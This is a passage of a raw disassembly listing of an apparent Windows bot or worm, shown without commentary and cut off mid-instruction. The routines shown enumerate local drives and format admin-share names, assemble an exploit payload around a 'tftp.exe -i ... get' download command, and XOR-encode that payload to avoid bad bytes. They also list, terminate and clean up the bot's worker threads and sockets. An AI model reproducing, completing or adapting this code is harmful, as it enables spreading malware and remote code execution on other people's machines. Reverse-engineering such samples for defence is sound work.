RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_414935 push offset unk_437CD0 jmp short loc_41493A ; --------------------------------------------------------------------------- loc_414935: ; CODE XREF: sub_414826+106j push offset unk_437C88 loc_41493A: ; CODE XREF: sub_414826+10Dj push eax call sub_415316 pop ecx pop ecx push [ebp+var_4] call dword_43C530 ; RegCloseKey jmp short loc_414967 ; --------------------------------------------------------------------------- loc_41494D: ; CODE XREF: sub_414826+E2j push offset unk_437C38 jmp short loc_414959 ; --------------------------------------------------------------------------- loc_414954: ; CODE XREF: sub_414826+13j push offset unk_437980 loc_414959: ; CODE XREF: sub_414826+12Cj lea eax, [ebp+var_220] push eax call sub_415316 pop ecx pop ecx loc_414967: ; CODE XREF: sub_414826+125j cmp [ebp+arg_C], ebx jnz short loc_414986 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_414986: ; CODE XREF: sub_414826+144j lea eax, [ebp+var_220] push eax call sub_40B078 cmp dword_43C648, ebx pop ecx jnz loc_414AFD push edi xor esi, esi mov edi, 200h loc_4149A7: ; CODE XREF: sub_414826+1EEj push dword_4377D4[esi] push off_4377D0[esi] push ebx call sub_413179 add esp, 0Ch push off_4377D0[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_4149D3 push offset unk_437C04 jmp short loc_4149D8 ; --------------------------------------------------------------------------- loc_4149D3: ; CODE XREF: sub_414826+1A4j push offset unk_437BC8 loc_4149D8: ; CODE XREF: sub_414826+1ABj push edi push eax call sub_41588A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_414A01 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_414A01: ; CODE XREF: sub_414826+1BFj lea eax, [ebp+var_220] push eax call sub_40B078 add esi, 8 pop ecx cmp esi, 10h jb short loc_4149A7 call dword_421148 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_414AE5 loc_414A29: ; CODE XREF: sub_414826+2B9j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_414ADA cmp bl, 41h jz loc_414ADA movsx esi, bl push esi push offset aC_3 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41588A push esi push offset aC_2 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41588A add esp, 20h lea eax, [ebp+var_20] push eax call dword_43C5B4 ; GetDriveTypeA cmp eax, 3 jnz short loc_414ADA lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_413179 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_414A9E push offset unk_437C04 jmp short loc_414AA3 ; --------------------------------------------------------------------------- loc_414A9E: ; CODE XREF: sub_414826+26Fj push offset unk_437BC8 loc_414AA3: ; CODE XREF: sub_414826+276j push edi push eax call sub_41588A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414ACD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_414ACD: ; CODE XREF: sub_414826+28Bj lea eax, [ebp+var_220] push eax call sub_40B078 pop ecx loc_414ADA: ; CODE XREF: sub_414826+20Bj ; sub_414826+214j ... inc bl shr [ebp+var_4], 1 jnz loc_414A29 loc_414AE5: ; CODE XREF: sub_414826+1FDj lea eax, [ebp+var_220] push offset unk_437B84 push eax call sub_415316 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_414B10 ; --------------------------------------------------------------------------- loc_414AFD: ; CODE XREF: sub_414826+173j lea eax, [ebp+var_220] push offset unk_437810 push eax call sub_415316 pop ecx pop ecx loc_414B10: ; CODE XREF: sub_414826+2D5j cmp [ebp+arg_C], ebx jnz short loc_414B2E push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_414B2E: ; CODE XREF: sub_414826+2EDj lea eax, [ebp+var_220] push eax call sub_40B078 pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_414826 endp ; =============== S U B R O U T I N E ======================================= sub_414B42 proc near ; CODE XREF: sub_414B62+Ap ; sub_414C3A+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_415B10 push [esp+8+arg_4] mov esi, eax call sub_415B10 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_414B42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B62 proc near ; CODE XREF: sub_414C51+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_414B42 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_414B7F xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_414B7F: ; CODE XREF: sub_414B62+17j push ebx push esi push edi push [ebp+arg_8] call sub_415B10 push [ebp+arg_C] mov esi, eax call sub_415B10 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_437E24, eax lea eax, [edi+1] mov dword_437E45, eax lea eax, [edi+17h] mov dword_437E3D, eax pop eax push 74h sub eax, edi push offset dword_437DC0 push ebx mov dword_437E53, eax call sub_4153F0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_4153F0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_4153F0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_4153F0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_4153F0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_4153F0 add esi, edi push 38h add esi, ebx push offset byte_437E49 push esi call sub_4153F0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_414B62 endp ; =============== S U B R O U T I N E ======================================= sub_414C3A proc near ; CODE XREF: sub_414C51+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_414B42 push eax call sub_414CBE add esp, 0Ch retn sub_414C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C51 proc near ; CODE XREF: sub_403166+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_414C3A cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_414C71 cmp eax, 0FFFFh jbe short loc_414C75 loc_414C71: ; CODE XREF: sub_414C51+17j xor eax, eax jmp short loc_414CBA ; --------------------------------------------------------------------------- loc_414C75: ; CODE XREF: sub_414C51+1Ej push esi push edi push ebx call sub_414B42 add eax, 101h push eax call sub_415BE9 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_414B42 pop ecx pop ecx push eax push esi call sub_414B62 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_414CD9 push esi mov edi, eax call sub_415C9B add esp, 24h mov eax, edi pop esi loc_414CBA: ; CODE XREF: sub_414C51+22j pop edi pop ebx pop ebp retn sub_414C51 endp ; =============== S U B R O U T I N E ======================================= sub_414CBE proc near ; CODE XREF: sub_414C3A+Ep ; sub_414CD9+47p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_414CC7 inc ecx loc_414CC7: ; CODE XREF: sub_414CBE+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_414CBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414CD9 proc near ; CODE XREF: sub_414C51+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_C] cmp dl, 0Ah jz short loc_414CF3 cmp dl, 0Dh jz short loc_414CF3 cmp dl, 5Ch jz short loc_414CF3 test dl, dl jnz short loc_414CF7 loc_414CF3: ; CODE XREF: sub_414CD9+Aj ; sub_414CD9+Fj ... inc edx mov [ebp+arg_C], edx loc_414CF7: ; CODE XREF: sub_414CD9+18j push esi mov esi, 0FFh cmp edx, esi jbe short loc_414D1F mov eax, edx shr eax, 8 cmp al, 0Ah jz short loc_414D16 cmp al, 0Dh jz short loc_414D16 cmp al, 5Ch jz short loc_414D16 test al, al jnz short loc_414D1F loc_414D16: ; CODE XREF: sub_414CD9+2Fj ; sub_414CD9+33j ... add edx, 100h mov [ebp+arg_C], edx loc_414D1F: ; CODE XREF: sub_414CD9+26j ; sub_414CD9+3Bj push edx call sub_414CBE cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_414D35 cmp eax, 0FFFFh jbe short loc_414D3C loc_414D35: ; CODE XREF: sub_414CD9+53j xor eax, eax jmp loc_414DD7 ; --------------------------------------------------------------------------- loc_414D3C: ; CODE XREF: sub_414CD9+5Aj push ebx mov bl, byte_46B608 xor ecx, ecx push edi mov edi, [ebp+arg_8] test edx, edx jbe short loc_414D69 loc_414D4D: ; CODE XREF: sub_414CD9+8Ej mov al, [ecx+edi] xor al, bl jz short loc_414D60 cmp al, 0Ah jz short loc_414D60 cmp al, 0Dh jz short loc_414D60 cmp al, 5Ch jnz short loc_414D64 loc_414D60: ; CODE XREF: sub_414CD9+79j ; sub_414CD9+7Dj ... inc bl xor ecx, ecx loc_414D64: ; CODE XREF: sub_414CD9+85j inc ecx cmp ecx, edx jb short loc_414D4D loc_414D69: ; CODE XREF: sub_414CD9+72j cmp edx, esi mov byte_46B608, bl ja short loc_414D95 push 15h push offset loc_437DA8 push [ebp+arg_0] mov byte_437DB5, dl mov byte_437DB9, bl call sub_4153F0 add esp, 0Ch push 15h jmp short loc_414DB6 ; --------------------------------------------------------------------------- loc_414D95: ; CODE XREF: sub_414CD9+98j push 17h push offset loc_437D90 push [ebp+arg_0] mov word_437D9E, dx mov byte_437DA3, bl call sub_4153F0 add esp, 0Ch push 17h loc_414DB6: ; CODE XREF: sub_414CD9+BAj xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_414DD2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_414DC4: ; CODE XREF: sub_414CD9+F7j mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_414DC4 loc_414DD2: ; CODE XREF: sub_414CD9+E3j mov eax, [ebp+var_4] pop edi pop ebx loc_414DD7: ; CODE XREF: sub_414CD9+5Ej pop esi leave retn sub_414CD9 endp ; =============== S U B R O U T I N E ======================================= sub_414DDA proc near ; CODE XREF: sub_406048+21Fp ; sub_4071B6+EDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4414C8 loc_414DE2: ; CODE XREF: sub_414DDA+18j cmp byte ptr [eax], 0 jz short loc_414DF6 add eax, 234h inc edi cmp eax, offset dword_46A9B8 jl short loc_414DE2 jmp short loc_414E41 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_414DDA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4414C8[esi] push eax call sub_416BE0 mov eax, [esp+14h+arg_4] and dword_4416CC[esi], 0 and dword_4416D0[esi], 0 mov dword_4416C8[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_4416E0[esi], 0 mov dword_4416D4[esi], eax pop esi loc_414E41: ; CODE XREF: sub_414DDA+1Aj mov eax, edi pop edi retn sub_414DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E45 proc near ; DATA XREF: sub_40CD3A+55FDo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_414E97 push [ebp+var_14] call sub_4150F0 add esp, 14h push 0 call dword_421048 ; ExitThread pop edi pop esi sub_414E45 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E97 proc near ; CODE XREF: sub_414E45+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h xor edi, edi mov esi, offset dword_4414C8 loc_414EC1: ; CODE XREF: sub_414E97+78j cmp byte ptr [esi], 0 jz short loc_414F02 cmp [ebp+arg_C], 0 jnz short loc_414ED5 cmp dword ptr [esi+204h], 0 jnz short loc_414F02 loc_414ED5: ; CODE XREF: sub_414E97+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_415316 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 24h loc_414F02: ; CODE XREF: sub_414E97+2Dj ; sub_414E97+3Cj add esi, 234h inc edi cmp esi, offset dword_46A9B8 jl short loc_414EC1 pop edi pop esi leave retn sub_414E97 endp ; =============== S U B R O U T I N E ======================================= sub_414F15 proc near ; CODE XREF: sub_40CD3A+49B9p ; sub_414F9D+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_414F97 cmp esi, 12Ch jge short loc_414F97 imul esi, 234h push edi push ebx lea edi, dword_4416DC[esi] push dword ptr [edi] call dword_421130 ; TerminateThread cmp [edi], ebx jz short loc_414F47 inc ebp loc_414F47: ; CODE XREF: sub_414F15+2Fj mov [edi], ebx lea edi, dword_4416D0[esi] mov dword_4416C8[esi], ebx mov dword_4416CC[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_414F68 push eax call sub_413EDB pop ecx loc_414F68: ; CODE XREF: sub_414F15+4Aj mov [edi], ebx lea edi, dword_4416D4[esi] mov byte ptr dword_4414C8[esi], bl mov byte_4416E0[esi], bl push dword ptr [edi] call dword_43C5EC ; closesocket lea esi, dword_4416D8[esi] mov [edi], ebx push dword ptr [esi] call dword_43C5EC ; closesocket mov [esi], ebx pop edi loc_414F97: ; CODE XREF: sub_414F15+Dj ; sub_414F15+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_414F15 endp ; =============== S U B R O U T I N E ======================================= sub_414F9D proc near ; CODE XREF: sub_409D34:loc_409D58p ; sub_40C48C+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4414C8 loc_414FA9: ; CODE XREF: sub_414F9D+2Aj cmp byte ptr [esi], 0 jz short loc_414FBA push edi call sub_414F15 test eax, eax pop ecx jz short loc_414FBA inc ebx loc_414FBA: ; CODE XREF: sub_414F9D+Fj ; sub_414F9D+1Aj add esi, 234h inc edi cmp esi, offset dword_46A9B8 jl short loc_414FA9 pop edi mov eax, ebx pop esi pop ebx retn sub_414F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FCF proc near ; CODE XREF: sub_40CD3A+1C48p ; sub_40CD3A+1CB9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4416CC loc_414FE3: ; CODE XREF: sub_414FCF+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_415005 test edi, edi jle short loc_414FF7 cmp [esi], edi jz short loc_414FF7 cmp ebx, edi jnz short loc_415005 loc_414FF7: ; CODE XREF: sub_414FCF+1Ej ; sub_414FCF+22j push ebx call sub_414F15 test eax, eax pop ecx jz short loc_415005 inc [ebp+var_4] loc_415005: ; CODE XREF: sub_414FCF+1Aj ; sub_414FCF+26j ... add esi, 234h inc ebx cmp esi, offset dword_46ABBC jl short loc_414FE3 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414FCF endp ; =============== S U B R O U T I N E ======================================= sub_41501C proc near ; CODE XREF: sub_40713F+Bp ; sub_4071B6+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4416C8 loc_415023: ; CODE XREF: sub_41501C+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_41502C inc eax loc_41502C: ; CODE XREF: sub_41501C+Dj add ecx, 234h cmp ecx, offset dword_46ABB8 jl short loc_415023 retn sub_41501C endp ; =============== S U B R O U T I N E ======================================= sub_41503B proc near ; CODE XREF: sub_40CD3A+508Ap arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_4416C8 push esi loc_415045: ; CODE XREF: sub_41503B+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_41505E add ecx, 234h inc edx cmp ecx, offset dword_46ABB8 jl short loc_415045 pop esi retn ; --------------------------------------------------------------------------- loc_41505E: ; CODE XREF: sub_41503B+10j mov eax, edx pop esi retn sub_41503B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415062 proc near ; CODE XREF: sub_40CD3A+5797p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_41507B push [ebp+arg_1C] call sub_41587F pop ecx loc_41507B: ; CODE XREF: sub_415062+Ej push eax push [ebp+arg_18] call sub_414FCF pop ecx test eax, eax pop ecx jle short loc_4150A7 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_415316 add esp, 14h jmp short loc_4150C1 ; --------------------------------------------------------------------------- loc_4150A7: ; CODE XREF: sub_415062+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_415316 add esp, 10h loc_4150C1: ; CODE XREF: sub_415062+43j cmp [ebp+arg_C], 0 jnz short loc_4150E1 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_4150E1: ; CODE XREF: sub_415062+63j lea eax, [ebp+var_200] push eax call sub_40B078 pop ecx leave retn sub_415062 endp ; =============== S U B R O U T I N E ======================================= sub_4150F0 proc near ; CODE XREF: sub_401000+A2p ; sub_401444+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_4416DC[eax], ecx mov dword_4416C8[eax], ecx mov dword_4416CC[eax], ecx mov dword_4416D0[eax], ecx mov dword_4416D4[eax], ecx mov dword_4416D8[eax], ecx mov byte ptr dword_4414C8[eax], cl mov byte_4416E0[eax], cl retn sub_4150F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41512D proc near ; CODE XREF: sub_40CD3A+5B9Bp ; sub_415255+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_41518F ; --------------------------------------------------------------------------- loc_415139: ; CODE XREF: sub_41512D+66j cmp eax, 1 jnz short loc_4151A0 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_4151A0 cmp cl, 2Ah jz short loc_415178 cmp cl, 3Fh jz short loc_41515D cmp cl, 5Bh jz short loc_415162 xor eax, eax cmp cl, dl setz al loc_41515D: ; CODE XREF: sub_41512D+22j inc [ebp+arg_4] jmp short loc_41518B ; --------------------------------------------------------------------------- loc_415162: ; CODE XREF: sub_41512D+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_4151C1 mov esi, [ebp+arg_0] jmp short loc_415189 ; --------------------------------------------------------------------------- loc_415178: ; CODE XREF: sub_41512D+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_415255 mov esi, [ebp+arg_0] dec esi loc_415189: ; CODE XREF: sub_41512D+49j pop ecx pop ecx loc_41518B: ; CODE XREF: sub_41512D+33j inc esi mov [ebp+arg_0], esi loc_41518F: ; CODE XREF: sub_41512D+Aj mov cl, [esi] test cl, cl jnz short loc_415139 jmp short loc_4151A0 ; --------------------------------------------------------------------------- loc_415197: ; CODE XREF: sub_41512D+76j cmp eax, 1 jnz short loc_4151BC inc esi mov [ebp+arg_0], esi loc_4151A0: ; CODE XREF: sub_41512D+Fj ; sub_41512D+18j ... cmp byte ptr [esi], 2Ah jz short loc_415197 cmp eax, 1 jnz short loc_4151BC mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_4151BC cmp byte ptr [esi], 0 jnz short loc_4151BC xor eax, eax inc eax jmp short loc_4151BE ; --------------------------------------------------------------------------- loc_4151BC: ; CODE XREF: sub_41512D+6Dj ; sub_41512D+7Bj ... xor eax, eax loc_4151BE: ; CODE XREF: sub_41512D+8Dj pop esi pop ebp retn sub_41512D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151C1 proc near ; CODE XREF: sub_41512D+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_4151E2 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_4151E2: ; CODE XREF: sub_4151C1+19j push ebx push esi loc_4151E4: ; CODE XREF: sub_4151C1+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_4151F2 cmp [ebp+var_4], eax jnz short loc_41523A loc_4151F2: ; CODE XREF: sub_4151C1+2Aj test edi, edi jnz short loc_41522F cmp bl, 2Dh jnz short loc_415223 lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_415223 cmp al, 5Dh jz short loc_415223 cmp [ebp+var_4], edi jnz short loc_415223 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_41522F cmp bl, al jg short loc_41522F mov [edx], esi jmp short loc_41522C ; --------------------------------------------------------------------------- loc_415223: ; CODE XREF: sub_4151C1+38j ; sub_4151C1+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_41522F loc_41522C: ; CODE XREF: sub_4151C1+60j xor edi, edi inc edi loc_41522F: ; CODE XREF: sub_4151C1+33j ; sub_4151C1+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_4151E4 ; --------------------------------------------------------------------------- loc_41523A: ; CODE XREF: sub_4151C1+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_415247 mov ecx, eax sub ecx, edi mov edi, ecx loc_415247: ; CODE XREF: sub_4151C1+7Ej cmp edi, eax jnz short loc_415250 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_415250: ; CODE XREF: sub_4151C1+88j mov eax, edi pop edi leave retn sub_4151C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415255 proc near ; CODE XREF: sub_41512D+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_415285 ; --------------------------------------------------------------------------- loc_41526F: ; CODE XREF: sub_415255+36j mov dl, [eax] cmp dl, 3Fh jz short loc_415280 cmp dl, 2Ah jnz short loc_415292 cmp dl, 3Fh jnz short loc_415283 loc_415280: ; CODE XREF: sub_415255+1Fj inc ecx mov [edi], ecx loc_415283: ; CODE XREF: sub_415255+29j inc dword ptr [esi] loc_415285: ; CODE XREF: sub_415255+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_41526F jmp short loc_415292 ; --------------------------------------------------------------------------- loc_41528F: ; CODE XREF: sub_415255+40j inc eax mov [esi], eax loc_415292: ; CODE XREF: sub_415255+24j ; sub_415255+38j cmp byte ptr [eax], 2Ah jz short loc_41528F mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_4152B4 cmp [eax], bl jz short loc_4152A7 xor eax, eax jmp short loc_415311 ; --------------------------------------------------------------------------- loc_4152A7: ; CODE XREF: sub_415255+4Cj cmp dl, bl jnz short loc_4152B4 cmp [eax], bl jnz short loc_4152B4 xor eax, eax inc eax jmp short loc_415311 ; --------------------------------------------------------------------------- loc_4152B4: ; CODE XREF: sub_415255+48j ; sub_415255+54j ... push ecx push eax call sub_41512D pop ecx test eax, eax pop ecx jnz short loc_4152FB loc_4152C1: ; CODE XREF: sub_415255+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_4152D3 ; --------------------------------------------------------------------------- loc_4152C7: ; CODE XREF: sub_415255+86j cmp cl, 5Bh jz short loc_4152DD cmp dl, bl jz short loc_4152DD inc eax mov [edi], eax loc_4152D3: ; CODE XREF: sub_415255+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_4152C7 loc_4152DD: ; CODE XREF: sub_415255+75j ; sub_415255+79j cmp [eax], bl jz short loc_4152F2 push eax push dword ptr [esi] call sub_41512D neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4152F7 ; --------------------------------------------------------------------------- loc_4152F2: ; CODE XREF: sub_415255+8Aj mov [ebp+var_4], ebx xor eax, eax loc_4152F7: ; CODE XREF: sub_415255+9Bj cmp eax, ebx jnz short loc_4152C1 loc_4152FB: ; CODE XREF: sub_415255+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_41530E mov eax, [esi] cmp [eax], bl jnz short loc_41530E mov [ebp+var_4], 1 loc_41530E: ; CODE XREF: sub_415255+AAj ; sub_415255+B0j mov eax, [ebp+var_4] loc_415311: ; CODE XREF: sub_415255+50j ; sub_415255+5Dj pop edi pop esi pop ebx leave retn sub_415255 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415316 proc near ; CODE XREF: sub_401000+61p ; sub_4010B2+320p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_417D6C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_415356 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_415363 ; --------------------------------------------------------------------------- loc_415356: ; CODE XREF: sub_415316+36j lea eax, [ebp+var_20] push eax push 0 call sub_417C57 pop ecx pop ecx loc_415363: ; CODE XREF: sub_415316+3Ej mov eax, esi pop esi leave retn sub_415316 endp ; =============== S U B R O U T I N E ======================================= sub_415368 proc near ; CODE XREF: sub_401000+2Ep ; sub_401BD4+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_437ED4, eax retn sub_415368 endp ; =============== S U B R O U T I N E ======================================= sub_415372 proc near ; CODE XREF: sub_4010B2+CBp ; sub_4010B2+13Fp ... mov eax, dword_437ED4 imul eax, 343FDh add eax, 269EC3h mov dword_437ED4, eax sar eax, 10h and eax, 7FFFh retn sub_415372 endp ; =============== S U B R O U T I N E ======================================= sub_415390 proc near ; CODE XREF: sub_4010B2+281p ; sub_401444+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4153E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4153D7 neg ecx and ecx, 3 jz short loc_4153B9 sub edx, ecx loc_4153B3: ; CODE XREF: sub_415390+27j mov [edi], al inc edi dec ecx jnz short loc_4153B3 loc_4153B9: ; CODE XREF: sub_415390+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4153D7 rep stosd test edx, edx jz short loc_4153DD loc_4153D7: ; CODE XREF: sub_415390+18j ; sub_415390+3Fj ... mov [edi], al inc edi dec edx jnz short 